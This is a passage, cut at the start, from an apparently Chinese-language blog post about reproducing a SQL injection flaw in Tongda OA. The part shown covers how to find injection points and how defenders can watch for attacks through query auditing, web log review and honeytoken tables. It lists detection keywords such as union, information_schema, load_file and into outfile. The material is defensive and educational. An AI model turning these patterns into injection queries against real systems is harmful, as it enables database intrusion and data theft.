Suite中使用“搜索”功能在所有请求和响应中查找常见的SQL关键词如select、union、from、where、数据库错误信息片段等可以帮助快速定位潜在的注入点。第四在防守方如何监控和发现被攻击数据库审计日志开启数据库的详细查询日志监控所有异常查询特别是包含union、select from information_schema、load_file、into outfile等关键词的查询。Web访问日志分析分析Web服务器的访问日志如Nginx的access.log寻找异常的、长的、包含大量特殊字符如单引号、注释符、%20、%27的请求URL或POST数据。部署Honeytoken蜜罐在数据库中插入一些虚假的、极具诱惑力的“诱饵”数据如名为admin_backup的表里面放假的密码。一旦监控到有查询访问这些诱饵数据立即告警。漏洞复现就像一次外科手术练习目的是为了更了解“疾病”的机理从而更好地“治疗”和“预防”。通过这次对通达OA SQL注入漏洞的深度拆解我希望不仅能提供一个可操作的复现指南更能传递一种追根溯源、举一反三的安全研究思路。在实战中情况永远比靶场复杂但扎实的基础和灵活的思维是应对万变的不二法门。
双梁正问题 【 torch 实战】（Python代码实现）)
